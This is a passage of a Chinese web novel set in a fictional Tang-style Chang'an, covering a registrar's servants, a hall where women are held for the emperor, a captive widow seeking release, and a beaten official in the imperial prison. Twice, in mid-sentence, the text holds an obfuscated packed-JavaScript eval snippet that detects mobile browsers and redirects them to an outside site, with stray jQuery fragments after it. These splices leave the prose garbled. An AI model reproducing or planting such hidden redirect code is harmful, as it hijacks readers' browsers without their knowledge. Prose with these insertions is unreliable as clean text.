她全家都是太府寺主簿家的下人,母亲给夫人当女管事,父亲给老爷当长随马夫,哥哥给老爷当小厮,她伺候小姐,弟弟陪小少爷耍乐子,虽然住得紧张了点,但也乐得轻松自在,张主簿家风好,十几年来不曾为难她一家,当然也不曾升迁,因着前太府寺少卿亡于任上,老爷的俸禄虽没增长,手头却比往日阔绰多了,这些钱经过夫人的手,最后还得通过她娘亲手上花用出去。张大人一家都换了新衣,旧的自然赏给了她的家人,婼儿得了小姐两套旧绸子衣服,鹅黄柳绿各一套,正稀罕的紧,换做从前,她哪里能把父亲的旧衣服外借出去。哪怕再破烂的衣服送到当铺里也能卖几个大钱,哪怕是长安,穷人也不少夏季典当自家的袄子,冬日再租赁旧袄子穿,再破烂的衣服也是家里可传承的财物呢。小姐的旧绸子裙拿去典当也能够普通百姓一家吃喝一个月。衣婼儿的月钱,以上一年也买不上一件绸衫。 最近坊中缉盗,婼儿关上门落下门闩,不一会又有人敲门,她高声问是谁,门外传来一个醉醺醺的妇人声:“是我,快些开门。” “娘你怎么大早上的吃了酒?你不是去给夫人小姐买脂粉了吗?” “我在玲珑阁外遇到了辽东来的豪商随从,他与我打听太府寺货单凭据留底的流程,还请我吃了酒,你将胭脂送到夫人小姐儿那,再煮碗醒酒汤给我。”韩娘子打了个酒嗝,塞给女儿两包东西,一大一小。 “小的那个是给你买的,比夫人小姐用的逊色两筹,不惹眼。” 婼儿顿时眼儿变圆,眼尾开了花,“哎!就去!” 6. 第6章 长安的秋意总比别处来得烈些,才过白露,天就凉得透彻。东方刚洇出一抹淡青,坊市的门轴便吱呀作响,早点铺子的蒸笼冒起白汽,混着磨剪刀的铜铃声在巷子里荡开。可这烟火气一到寻芳馆外就断了,青石板路上连个脚印都稀稀拉拉,往来行人绕着墙根走,像是怕沾了什么晦气。 这座三进宅院原是吏部侍郎的府邸,去年开春侍郎因“私通外戚”的罪名被抄家,满门流放岭南,朱漆大门换了块“寻芳馆”的匾额,就成了专供皇帝拣选美人的地方。墙还是那道墙,只是墙头多了些带刺的藤蔓,把原先的飞檐翘角遮得影影绰绰,倒像个困住雀鸟的大笼子。 现在寻芳馆一共住了三个姑娘,一个寡妇。 自打昨夜睡下,卫开梧耳边仿佛有什么细弱的蚊蝇哭闹,声音时不时钻进耳朵里,像尾巴上带着钩子,等她仔细去听,却又没声儿了。 “不许是隔壁院子的几位姑娘?咱们昨夜二更才到,动静闹得大,怕是把她们惊着了。”她披衣下床,走到窗边推开条缝,“我今晨去大厨房领早饭时问过,这寻芳馆里住着三位姑娘,还有一个寡妇,统共四位。昨儿一整天,她们院里的门就没开过,连早饭都是厨房小厮送去的。” 卫开梧拢了拢衣襟:“都是些什么来头?” “听厨房的老张说,都是小户人家出身。”赵蒲回身,声音压低了些,“不过里头有个最特别的,叫陆蔓荆荔,是个鲜卑寡妇。她男人一年前战死在河西,她是归化胡,打小在张掖长大,连鲜卑话都不会说,模样也跟咱们中原女子没两样,就是……”她顿了顿,“实在是绝色。” 卫开梧挑了挑眉。 “她能骑马射箭,还会几套枪法。男人死后,她带着个三岁的女儿在张掖街头卖艺讨生活,被花鸟使撞见了,说是‘奉陛下旨意选良家子入宫’,她竟信了,就这么跟着来了。”赵蒲撇撇嘴,“等进了这寻芳馆才明白,哪是入宫当差,分明是……” “是当皇帝的玩物。”卫开梧接过话,语气平淡得像在说天气,“高枉刚登基那会儿,还爱装模作样,说什么‘选秀是为充实后宫,延绵子嗣’,如今连寡妇都要弄来,倒是懒得遮掩了。” 赵蒲点头:“可不是。听说陆蔓荆荔刚来时闹过几次,想出去,都被侍卫拦了。她在这儿住的时间最长,快半年了,一次都没被陛下召见过。不过这倒好,不得召见,反倒能保着性命。”她叹了口气,“就是可怜了她那女儿,还留在张掖,托给一个远房亲戚照看。她在这儿没月钱,身上带的银钱早就花光了,那亲戚怕是……” 话没说完,院墙外忽然传来一阵尖利的怒骂,像淬了冰的刀子,划破了清晨的宁静。 “狗东西!真当自己是根葱了?换在张掖,老娘早把你们的肠子剖出来,缠在脖子上勒死你们!”女人的声音清亮,带着股野性的狠劲,“不过是看门的恶犬,也敢拦老娘的路?骗我来这鬼地方,把人当牲口圈着,你们良心都被狗吃了?” 紧接着是男人的呵斥,还有推搡的声响。 赵蒲皱眉:“这多半就是陆蔓荆荔了。” 卫开梧起身:“去看看。” 二进院的月亮门旁,两个穿着青色劲装的侍卫正死死拦着个女子。那女子约莫二十出头,穿着件半旧的湖蓝色襦裙,裙摆上沾了些泥点,显见是挣扎过的。她身姿高挑,发髻有些散乱,几缕青丝垂在颊边,却丝毫掩不住那张脸,眉如远山含黛,眼似秋水横波,尤其是那双眼,此刻盛满了怒火,反倒添了几分惊心动魄的美。 “让开!”陆蔓荆荔抬手去推左边的侍卫,腕子却被攥住了。她另一只手成拳,照着侍卫胸口就砸了过去,动作又快又狠。 “反了你了!”那侍卫吃痛,骂了句粗话,手上加了劲。 “兄长,这……”另一个年轻些的侍卫有些发慌,他看着陆蔓荆荔泛红的眼眶,不知是气的还是别的,竟有些手软。 被称作兄长的侍卫叫杨毅,三十来岁,脸上带道浅疤,他瞪了同伴一眼,又转向陆蔓荆荔,语气不善:“陆娘子,休要胡闹!这寻芳馆是什么地方,岂是你想走就能走的?安分些,少让兄弟们为难!” “安分?”陆蔓荆荔冷笑,“把我骗到这牢笼里,锁着不让见女儿,还让我安分?我告诉你,今日你们要么放我走,要么我就撞死在这门槛上,到时候看你们怎么跟上面交代!”她说着就往旁边的朱漆柱子上撞。 “哎!”年轻侍卫赶紧拉住她。 杨毅见状,脸色铁青。他知道这女人是个硬茬,这半个月来,几乎天天都要闹这么一出。他烦躁地挥挥手:“你在这儿等着,我去禀报主事!” 陆蔓荆荔甩开年轻侍卫的手,昂着头站在原地,脊背挺得笔直,像一株被狂风骤雨打过的芦苇,看着狼狈,却没断了风骨。 杨毅快步穿过回廊,往寻芳馆主事章微子的住处去。这章主事是个四十多岁的妇人,原是宫里的女官,因得罪了人,被发配到这寻芳馆当差,已有三年。她性子古怪,整日抱着个酒瓮,喝醉了就骂人,醒着时也多半没好脸色。 杨毅走到门外,就听见里头传来“咕咚咕咚”的饮酒声。他定了定神,脸上堆起笑,推门进去:“章主事,忙着呢?” 院里的葡萄架下,一个体态丰腴的妇人正坐在石凳上,穿着件半旧的淡绿纱衫,胸襟处湿了一大片,显然是饮酒时洒的。她面前放着个膝盖高的酒瓮,正捧着个海碗往嘴里灌,见杨毅进来,眼皮都没抬:“什么事?” “是陆蔓荆荔那妇人,又在闹着要出去,”杨毅凑近了些,“她性子太烈,嘴里没把门的,万一冲撞了哪位贵人,咱们都担待不起。我看呐,不如就顺水推舟,把她名字从名册上划了,送她回去算了。” 章微子这才缓缓抬起头,眯着眼打量他:“划名册?你倒会做好人。”她打了个酒嗝,“那妇人……是个鲜卑胡种?” “是归化胡。” “哼,皇帝最不喜寡妇,留着也是占地方。”章微子放下海碗,抹了把嘴,“也罢,省得她天天在我耳边聒噪。”她站起身,脚步有些踉跄,“你先回去,我……等我醒醒酒就去看看那鲜卑女人是什么成色,对了,我之前得了一个好物,这东西我们女人留着没用,我放在角房里以一个红色锦盒装着你拿去是留是卖自行决定,我约好了与人吃酒……你快去吧。” “是。” 杨毅不一会脚步轻快地捧着锦盒出门,轻轻地掩上门。 章官娘子在葡萄藤架下呆坐了会,才脚步迟缓地站起来来到院中水井处摇辘轳上来,提着水桶,扣下来个寒瓜,温度合适沁润肤下,颇为只得地拎着瓜回去,又用净水洗干净菜刀,切成数粉,眯着眼大快朵颐,她吃得正欢,不到半盏茶的时间大门外又来一人,章官娘子叹了口气,“你怎得好像油瓮后的老鼠总是来得这般巧。” “你竟藏了这等好物,如今寒瓜可是紧俏货,早上坊市刚一开门但凡迟了一步都没得去买,你倒是好平日不见你勤快。” “来吃,来吃。” 二人均露出享受的神情。章官娘子叹了口气,“今日本想和你一醉方休不曾想馆内又起事端。” “这么说?” “……” “那倒是得让她离去,连累你可就不好了。” “我也是这般想法,等一会我便去,那瓜我带去半个。” “你倒是好心。” 韩枝茛吐出一口黑瓜子,又问瓜是哪来的。章官娘子昏昏欲睡,强打起精神,“暑气太重……瓜?新来的厉姬赏我的,名门望族出身当是阔绰,也不知道得罪了哪路神仙被捉来可怜哟,可怜哟……” “厉姬?莫不是辽东厉王的儿女辈?” “是位郡主呐。” “嘶!这等高的门第!” “没落了,没落了,”章官娘子毕竟是官场中人,靠在韩枝茛肩上打了个嗝,“一个数百年戍边的藩王在长安贵胄们眼里也就比塞外野人强上半筹,”见韩枝茛面有不忍她大笑起来,“你个当奴才的倒是心疼起主子来了,再怎么没落打杀你也不过罚俸、赎绢……打杀了我只要交上赎金,或削去一级爵位……” 韩枝茛面色不虞,“不过是得了个官身十年如一日在我面前显摆,早晚割了你一身肥肉煎油吃!” 章官娘子大笑。 二人吃完了瓜,章官娘子抬了抬眼皮,“我托你打听我儿的情况,可有消息?” “我央求夫人打听了,没有抚恤下放到小郎所在,这下你可安心了吧。” “我安心……旁人不知安的哪门子心,自从我儿被人算计去了边关,至今已有三年之久,音讯全无,不知是死是活,”章官娘子说着垂下泪来,韩枝茛在一旁安慰,心想哪怕是当了官却逃不过官场倾轧,一不小心就连累家人,章微子的独子本来免役却被人算计,她没说夫人也吃不准章小郎是死是活,只挑了好话说安她的心罢了。于是叹息一声起身说道:“时候不早你也有事,我就先走了。” 杨毅从章官娘子处回来,一同执勤的小方正被她逼缠得紧,见到他如蒙大赦,赶紧道:“兄!兄!救我一命!这番婆子要吃了我!” 杨毅赶紧救下小兄弟,道:“我已回禀主事,你且等着吧。” 蔓荆荔狐疑道:“真的?莫不是匡我?” “岂敢,我还想有安生日子过呢。” 蔓荆荔于是不再闹腾,回屋内去了,不多时又传来啜泣声。 “大娘子,管事章娘子求见。”赵蒲说。 寻芳馆主事,她来时见过一面,卫开梧回想了遍她的长相,只记得是个丰硕的妇人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16549955|186794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “她可说了有什么事?” “估计是为了陆娘子一事来的,见么?” “为何不见,正巧我也好奇她如何行事。” 章微子正和卫贵人的护卫攀谈,这些护卫一个个猿臂蜂腰看得叫人眼热,“诸位哪怕是在禁宫当差也是使得的。” 赵蒲喊她进去,章微子跟上她说道:“姑娘如此伶俐,我瞧着府上侍卫也是人中龙凤,其中有个眉心有红痣的瞧着与姑娘有三分相似,不知可是姑娘的亲戚。” 赵蒲暗道她眼尖,“那是我哥哥,单名一个英字,章主事今日怎么来拜访我家娘子了?” “我心想等娘子安顿下来再来拜见,也不失礼数,却不想隔壁的陆美人思乡心切害了病,忧思成疾,看了大夫也不见好,护卫禀报我陆美人想向宫里求个恩典送她回乡,我职责在身特来看看,路过郡主院前理当拜见。” 赵蒲说:“那位是姓陆吗?她整日啼哭吵得郡主和我们睡也睡不好,还以为撞邪了呢!她是花鸟使寻来的,想回乡就能回的吗?我倒是不曾听说。” 章微子透露道:“姑娘有所不知,寻芳馆的美人不是所有人都能侍奉陛下,花鸟使带人来再由我们甄选,若是没入册的尽可以送回原籍,不至于冒犯天官。” “那我家娘子可……” “唉,贵人是陛下钦点,怕是……” 赵蒲话音一顿,面上掠过一丝忧色,却也不再多问,只引着章微子往内院走。 卫开梧端坐窗前,指尖捻着一枚刚摘下的秋海棠花瓣,见章微子进来,眼皮都未曾抬一下。 章微子深谙宫里的规矩,见状忙敛衽行礼,“见过郡主。” “章主事不必多礼,”卫开梧声音清淡,“我听说,你是为陆娘子的事来的?” 章微子忙陪笑道:“正是。那陆蔓荆荔连日哭闹,扰了馆内清净不说,恐还伤了身子。她本就无意留在长安,不如顺水推舟送她回去,也全了一份人情。” “顺水推舟?”卫开梧终于抬眼,目光落在她脸上,带着几分探究,“我倒听说,她求了你们好几次,都被拦了下来。怎么今日忽然转了性?” 章微子脸上的笑僵了僵,忙解释道:“先前是怕她一时冲动,坏了宫里的规矩。如今看她心意已决,再强留反倒不美。况且她本就是个寡妇,陛下那边也未必在意……” “未必在意,当初又为何要把她弄来?” 这话问得尖锐,章微子道:“是……是花鸟使瞧她貌美,想着或许能入陛下眼……” “或许?”赵蒲插话道,“你们便是这样拿旁人的性命当玩笑?她丈夫战死沙场,她带着孩子讨生活,招谁惹谁了?” 正这时,院外忽然传来一阵急促的脚步声,侍女匆匆进来,附在卫开梧耳边低语几句。 卫开梧眉峰微蹙,“她真这么说了?” 赵蒲点头,“是守卫听着的,陆娘子说……说若是再不让她走,她就一头撞死。” 卫开梧站起身,走到廊下,望着隔壁院子的方向,那里隐约还能听见压抑的啜泣声。 章微子忙告退,“我先走一步,改日再来拜访郡主。” 蔓荆荔正欲往树上撞,却扑进了一个绵软的怀抱中,这怀抱里的女人香和酒香让她想起了母亲,母亲也是这般健硕,一日都离不开酒,她抬眼望去见是个眼熟的官,半晌才想起来是寻芳馆的管事,立刻退了半步,“我……” “你不必多说,你整日哭闹不休旁人都奈何你不得,想必也不是个自杀的主儿,你那女儿不要了?你身上没半两铜,如何回原籍去?” “跟着商队做些缝补洒扫的活,看在同乡情分上或是有人愿意带我,还有当日天官赏赐的财物……”蔓荆荔迟疑着说。 章微子挥挥手,“你都变卖了就是。” 寻芳馆的美人受的赏赐算不得贵重也就是些日常用具,换成钱也足够普通人家一年花销了,“既然你有打算,给你两日时间收拾,随我去划掉名字。” “主事仁慈,只是民女不知其他官差可否同意民女离开。” 这倒是个麻烦事,章微子瞧了瞧她的脸,章微子眯起眼打量她,忽然凑近了低声道:“你拿黄姜混着糯米水擦身,最好再故意摔破点皮。我会跟人说你忧思成疾,已经有些疯魔了。疯女人没人稀罕,自然不会拦着。但若真遇着那黑心肝的要刁难,你就往泥里滚,往人堆里钻,越是狼狈越安全,懂吗?” “是……” 办完了差事,章微子的心情略微松快些,她挥了挥手,杨毅快步上前。 “那三个新来的怎么样了?” 杨毅连忙上前回话:“回主事,都闷在院里没出来,早饭也是厨房送去的。” “知道了。你在这儿盯着,别让闲杂人等靠近西跨院。” 7. 第 7 章 韩枝茛拎着半旧的竹篮,从张府西侧那扇窄小的角门溜进去时,天边的夕阳正把斑驳的灰砖墙染成一片透亮的金红。篮沿搭着的蓝布帕子被风吹得轻轻打卷,露出里面裹着的几样时新菜蔬,这是她趁着外出采买的空当,特意买来想着给女儿婼儿添口鲜。 刚拐过影壁,一道小小的身影就“噔噔噔”扑了过来,带着股子孩子气的莽撞。“母亲!”婼儿仰着晒得微红的小脸,“您今日怎么回得这么晚?”她小手扒着竹篮沿往里瞅,声音压得低了些,“小姐早上特意派张嬷嬷去买寒瓜,跑了三家铺子都没寻着,一整天脸拉得老长,连抄经都摔了笔。张嬷嬷这会儿在廊下急得团团转,正跟小丫头们念叨着要去城郊菜园子碰碰运气呢。” 韩枝茛听了,嘴角几不可察地勾了勾。那张嬷嬷是主母从娘家带来的陪房,在府里仗着老资格,对她们这些外姓仆妇向来是鼻孔朝天的,如今栽了这么个小跟头,倒也算出了口闷气。她拍了拍粗布裙摆上沾的尘土,刚要提步往正房那边去回话,就见管家媳妇李春莲捏着串沉甸甸的铜钥匙,从月洞门里慢悠悠地晃出来。那钥匙串相撞,叮当作响,在这渐静的黄昏里格外清晰。 “韩娘子回来得巧。”李春莲脸上堆着客套的笑,眼角的细纹却没舒展开,“夫人刚吩咐,库房里那几坛去年腌的芥菜该翻晒了,潮气重了容易坏,你去仔细查看查看,该挪的挪,该晒的晒。”她顿了顿,又添了句,“对了,你男人今儿从码头捎来的那筐海货,夫人瞧着新鲜,赏了大半给厨房,晚上给小姐做道醋溜鱼。” 韩枝茛忙垂手应了声“是”,看着李春莲的背影消失在抄手游廊尽头,才松了口气。 “娘,你瞧她那神气样。”婼儿凑过来,撇着嘴一脸不屑,“不就是管着几间屋子的钥匙吗?好像府里的东西都是她家的。”她往地上啐了口,又压低声音,“还有那醋溜鱼,谁稀罕似的。上回厨房做了一回,酸得倒牙,还带着股子腥味,我隔着老远闻着,差点把前一天的饭都吐出来。” “小声点。”韩枝茛皱眉呵斥。 婼儿吐了吐舌头,反而说得更起劲儿:“我说的是真的!小姐哪里喜欢吃?硬着头皮往嘴里塞,附庸风雅罢了。上回我去给她送茶,正撞见她对着痰盂哕呢,脸白得像纸。吃上那么一回,三四天没胃口,原本就细的腰,如今更是瘦得像根芦柴棒,风一吹都要倒似的。你看我,”她挺了挺胸,带着点小得意,“这个年纪早就来月事了,身子骨结实着呢。” 她忽然想起什么,拉了拉韩枝茛的袖子:“娘,待会儿你处理那鱼的时候,记得叫我把门窗都关上,省得那味儿飘进来。哎,不如把这两条死鱼给我留着,做红烧的好不好?多放些糖和酱油,压一压腥味,我想一个人躲在屋里吃。” 韩枝茛刚点了点头,就听婼儿又说:“对了娘,今天我把爹那件蓝色的圆领竹纹衫借出去了。” “嗯?”韩枝茛一直没什么表情的脸终于转了过来,目光落在女儿脸上,“借衣裳?” “就是两年前老爷赏的那套呀。”婼儿满不在乎地拨弄着辫梢,“你瞧那颜色,早就褪得发灰了,前阵子我去布坊问补色的价钱,竟比去年涨了十文!什么宝贝似的,我看不如索性染成皂色,耐脏又省事。还说是什么孔雀蓝,依我看,不过是泥塑上贴了层金箔,看着光鲜,内里早败了。” “我问你借给谁了?” “杨先儿啊!”婼儿答得痛快,“他晌午给神仙酒馆送菜,路过寻芳馆那边,看见二楼窗台上站着个穿水红衫子的美人,眼都直了,下桥的时候一脚踩空,差点栽进河里淹死。还是我正好在河边捞浮萍,赶紧拿篙把他拽了上来,不然这会儿早喂鱼了。” 韩枝茛没心思管杨先儿的死活,只追问:“神仙酒馆?府里有人订了那儿的菜?” “可不是嘛,是少爷订的。”婼儿咂着嘴,一脸惊叹,“乖乖,我刚才去厨房送东西,偷瞧了眼那菜牌签子,一道就要百文,够普通人家过三天的了!也就少爷那般金贵身子,才受用得起。也不知那菜到底是何等滋味,能值这么多钱……”她凑近了些,声音压得像蚊子哼,“我偷偷尝了一口,味道的确非比寻常……” 韩枝茛提高嗓门,“你还——偷吃!” 婼儿一副满不在乎的模样,“那又怎么了?我干净的很,少爷才不爱洗澡呢,他脸其实没那么黑,屁股白生生的呢。” 韩枝茛脸黑了,抄起一条死鱼扔过去。 “哎呀!好凉!扔我干什么!衣裳都是鱼腥味,我闻不得!” “脏东西你倒是看得!” 婼儿跺着绣鞋,腮帮子气鼓鼓的,转身回了内屋。韩枝茛望着她背影轻叹了口气,拎着那尾刚买的鲜鱼往厨下去了。 …… “主簿!主簿!醒醒。” 这盹儿竟沉了大半时辰,张倍稆猛地惊醒,身子一歪险些从太师椅上栽下去。他慌忙抬手扶了扶歪斜的幞头,眼角余光扫过窗外——日头已斜斜挂在西檐,原是散衙时分了。他定了定神,冲左右值房的吏员们微微颔首,迈着方步径直出了太府寺衙门。 囊中实在羞涩,别说是雇轿,便是租辆驴车也舍不得。见同僚们或坐青帷小轿,或乘高头大马,车马辚辚归家,他只得清咳一声,背着手摇头晃脑:“晚风正好,步行为佳。” 才走到朱雀大街中段,膝盖忽然隐隐作痛。他瞅着路边积起的水洼,眉头不由得蹙起——这光景,夜半怕是要落雨了。 “这不是张贤兄?”一声朗笑自身后传来,“何日回的长安?一别十三载,竟在此处重逢,真乃天意!” 张倍稆驻足回头,只见来人紫袍金带,正是光禄大夫的官阶,那张脸却陌生得很。他拱手略欠身,小心翼翼问:“敢问尊驾是……” 来人笑得张扬,袖口下露出一双养得白白嫩嫩的手——绝非案牍劳形或风霜奔波之人。张倍稆脑中灵光一闪,蓦地记起什么,喃喃道:“莫非是吴……吴堪雪兄?” “正是在下!”吴堪雪拱手还礼,“今日定要我做东。董路,你去张大人家通个信,说老爷今夜有宴。”说罢又问张倍稆,“不知贤兄如今寓居何处?” “春化坊。” 董路应声领命,指尖捻了捻袖中揣着的几枚碎银。待两位大人相携走远,路边那盯了许久的帮闲立刻颠颠凑上来,脸上堆着谄媚的笑:“这位哥哥看着面善,却生得眼生。小的在这附近混了十来年,上下值的大人家眷多认得,哥哥莫不是才从外埠述职归京?” “我家老爷三任伊犁经略使,十三载才得返长安。”董路淡淡道。 帮闲顿时肃然起敬,连连作揖:“给贵老爷道喜!这可真是熬出头了!” “昔日我在长安时,倒识得个说得上话的,姓孙名延年,你可知晓?” “孙大兄?”帮闲眼睛一亮,“他如今在佘公公手下当差呢,可是得重用的红人!” “太监?”董路压低了声线。 “正是!”帮闲凑近几步,声音压得更低,“听说宫里的采办司,如今大半由他经手。” 两人三言两语说了几句,董路暗自思忖:此人倒知晓不少长安内情。老爷离京十三载,许多人事早变了模样,正好探探消息。他脸上热络了几分,拱手道:“在下董路,不知贤弟高姓大名?” “董荛。” “竟也是董姓?”董路笑了,“说不定五百年前真是一家。今日相逢有缘,这酒该我请。哦对了,张大人住在春化坊哪户?还劳贤弟引路。” “好说。” 要说这太府寺,原是掌管天下财赋的中枢——各州府的租调、国库的库藏、市舶司的贸易,乃至百官俸禄、军饷粮草,都归它统管。张倍稆身为寺中主簿,虽位列末僚,经手的却是最琐碎也最紧要的活计:日日点检各州解送的文书,核对仓廪的粮帛斛斗;丝帛的匹数、铜钱的贯数、粟米的石数,哪怕错了半分,都要在“勾检簿”上亲笔注错,再连夜追查原委。案牍堆积如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16549956|186794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山,从早忙到晚,却因是清水衙门,半点油水也沾不上。 正因如此,张家日子过得紧巴。夫人秦寰娥虽是商户出身,嫁过来也得亲自操持家务:晨起要验看帮佣韩娘子送来的菜蔬,傍晚要清点盼儿绣的帕子能换多少铜钱。家中只雇了个小丫鬟盼儿贴身伺候,便是寻常人家使唤的家生子,或是市上买来的仆役,也非她这等家境能消受的。算来算去,也只有陪嫁来的两个老嬷嬷,还能搭把手照应内外。 秦寰娥坐在窗前择着菜,望着铜镜里鬓边新添的白发,不由得叹了口气。二十年前,张倍稆在东华门唱名时何等意气风发,青衫落拓却眼含星辰;如今呢?不过四十出头,发间已见霜白,仕途更是再无寸进。怕是这辈子,都难再过上她未出阁时那般呼奴唤婢的日子了。 “娘!娘!爹怎的还不回?” 秦寰娥被这声嚷嚷惊回神,抬眼便见儿子张大郎飞跑进来,衣襟都跑歪了。“多大的小子了,还这般毛躁!”她嗔道,“早说把门槛锯矮些,你爹偏说‘官宦人家,门槛矮了没规矩’,仔细摔着!你爹……”她抬头看了看日影,“是该回来了。盼儿,去门口瞧瞧。” 丫鬟盼儿才十一二岁,却已出落得眉目清秀,像株刚出水的芙蓉。她应声出去,张大郎的眼珠子竟直勾勾跟着转。“啪”的一声,后颈上早挨了他娘一巴掌。秦寰娥眼一瞪,那气势竟如山中母虎般:“才多大就这般没规矩,再看仔细我剜了你的眼!”张大郎吓得脖子一缩,再不敢乱瞧。 不消片刻,盼儿掀帘回来,喘着气道:“方才门外来了两位爷,说是老爷遇上旧时同年,约去吃酒,今夜要迟些回来。” 秦寰娥心头咯噔一下:他身上带了几文钱? 秦寰娥指尖捏着菜梗顿了顿,鬓边的银钗随着低头的动作轻轻晃了晃。 “周嬷嬷,”她扬声唤道,“你去我妆奁里取锭碎银来。” 此时的西市酒肆里,觥筹交错正酣。 吴堪雪挥着手让胡姬撤下残席,又添了道炙羊肉、一碟酪樱桃,笑道:“在伊犁吃了十三年风沙,久未品长安风味,。” 张倍稆面前的酒杯只沾了半口,他望着桌上堆得小山似的菜肴,喉结动了动:“吴兄太破费了。” “哎,”吴堪雪摆手,紫袍袖口扫过桌面,带起一阵香风,“想当年咱们同科及第,在曲江池畔折柳饮酒,你还说要做个一钱太守,如今看来,果然是说到做到啊。” 张倍稆握着酒杯的手紧了紧,“倒是吴兄,”他转开话头,“如今在光禄寺当值,想必清闲得很。” “清闲?”吴堪雪笑出声,“前些日子替圣上采办端午的龙舟彩缎,跑了三趟江南,脚底板都磨出了茧子。” 他正待细问,窗外忽然滚过一声闷雷,接着便有豆大的雨点砸下来,“坏了,”他起身,“内子怕是要担心了。” 雨越下越大,董路引着董荛往春化坊外走。 “兄可知,”董荛笑着问道说“孙延年如今不光管内库,连西市的市舶司都插了手。上月进了批东珠,说是全被他用半价收走,转脸就送了佘公公的干儿子。” 董路脚步一顿:“这等事,你都知道?” 没想到吏治败坏到这等地步,却是连街边的帮闲都知道了。 张家院里,秦寰娥正指挥着盼儿把晒在廊下的被褥往屋里搬。张大郎抱着廊柱数雨珠,忽然指着巷口喊:“娘!是爹回来了!” 雨幕里果然走来两个身影,张倍稆的青布官袍已湿透,手里却提着个油纸包。他快步进门,把纸包往桌上一放,是些蜜饯。 秦寰娥见他袖口沾着酒渍,却没问酒钱的事,只转身去灶房舀了碗姜茶:“快趁热喝了,仔细着凉。” 张倍稆接过茶碗,指尖触到碗沿的温热,忽然想起吴堪雪最后那句话:“改日我让孙延年去太府寺走动走动,贤兄的勾检簿,总得有人帮衬着些。” 他望着窗外的雨,一口姜茶入喉,辣得眼眶发烫。 8. 第 8 章 三十杖板片刻打完,狱卒拖着一具血肉模糊的人形玉体押回死牢,破布棉絮似的往那旧草丛一丢,发出瓦罐碎裂的声响,竟然是瓷器碰了瓦罐。狱卒嫌恶地捂住口鼻:本该倒夜香的杂役撂了挑子,这等腌臜活计便落到了他们头上。不过是些泥腿子,给了营生不知感恩,反倒敢向上官讨钱。他挥了挥手中的廷杖,一股权力催生的燥热顺着胳膊爬上来,三角眼一吊,睨着人事不省的犯人。能折腾这般大官,竟让他从头顶爽到了脚心。 锁上牢门,狱卒立刻向牢头复命,牢头正吃着酒肉,“打完了?” “打完了。” “人还活着吗?可别不知轻重给打死了,这可是要掉脑袋的。” “叔您放心,我知道轻重。” 牢头给他倒了杯酒,狱卒受宠若惊地接过,“您跟我说说这位鹤大人能死,能活?” 牢头咂咂嘴,“怕了?” 狱卒嘿嘿一笑坐下说,“毕竟是二品的大官儿,万一……” “没什么万一。”牢头打断他,呷了口酒,“诏狱的规矩,里头的事,出了这门便不许再提。天塌下来有江大人顶着,你怕个球。” 听见牢头提顶头上司,狱卒立马坐直了,脊梁骨都绷紧了,仿佛墙壁上随时能长出耳朵来。牢头见他这副怂样,嗤笑一声:“打板子时倒爽利,听见江大人的名字就吓成鹌鹑,不中用,还得练。”他顿了顿,又道,“阎王好惹,小鬼难缠。别下死手,真要是落下残疾,将来人放出去了,江大人也未必保得住你。” 狱卒连连点头:“明白,明白,小的都省得。” “我在这干了快五十年,听我的准没错。”牢头放下酒杯,“依我看,鹤松年的死劫还没到。你待会儿给拿点伤药过去,别让脸上留了疤,将来不好做官。” “还有一事……” “他刚才把尿壶砸碎了……” “你还愣着干什么!还不赶紧收拾收拾!江大人不知什么时候来巡查,恶到了大人神仙都救不了你了。” 狱卒忙不迭地起来,他怎么忘了这一茬。 牢房内,鹤松年仰躺在草堆上,意识仿佛飘出了躯壳,悬在诏狱上空。看到东方朱紫宫墙连绵,更远处,一片浩渺工地正蒸腾着热气。夯土为基,方圆竟达三十里;白玉为阶,自宫门至台顶凡三千级;台高百丈,殿宇连绵,光廊柱便用了近万根,皆取蜀地巨木,一路运至长安,沿途累死的役夫不计其数 更荒唐的是,为求仙气缭绕,台基四周引了三条活水,渠底全铺着翡翠,岸边移栽的奇花异草来自万里之外,每一株都要专人日夜照料,稍有枯萎便要株连押运的役夫。这宫台方圆三十里,占去了长安近郊最肥美的良田,动工以来,从各地强征的民夫累计十余万,累死、病死、被监工打死的,尸首都能填满半条渭河。 他仿佛能听到高往坐在龙椅上大笑,“比阿房宫如何?比紫薇城如何?” “琼楼欲接天,白骨垒阶前……” 忽地,鹤松年闻到一股恶臭,魂被吸回体内,睁开眼。 狱卒踢了一脚陶罐碎片,离开牢房。 他方才是……死了? 鹤松年吃力地抬起一只手摸了摸脖子,仅仅是这一个动作就让他出了一身冷汗,还有这恶臭,是他身上的还是……? 等狱卒的身影彻底消失,鹤松年才摸索着在草垫下拿出一个纸团来,纸团被反复揉搓过,早已看不清原本写的什么。 诏狱又是一阵热闹,又有人被抓进来了,鹤松年吃了些糙饭,竟然听起用刑的声音,跪在宫门前叩阍的太学生。他听放饭的狱卒说,那些太学生有底子的尽管灌一碗软骨汤下去,不管多硬的骨头到了诏狱里都得软下去,不然,江若卢会不开心。 “这几个太学生怎么办?” “还能怎么办?上面有人的在宫门外跪着的时候就被家人捂着嘴绑走了,回去也少不了一顿好打,嘿嘿,打完了还有上等金疮药,送到我们这来的啊……死了可就是死了,你说这些太学生是读书读傻了吗?皇帝和门阀的局他们掺和什么?哎,不是说有个女学生也被抓了吗?我怎么没看见?” 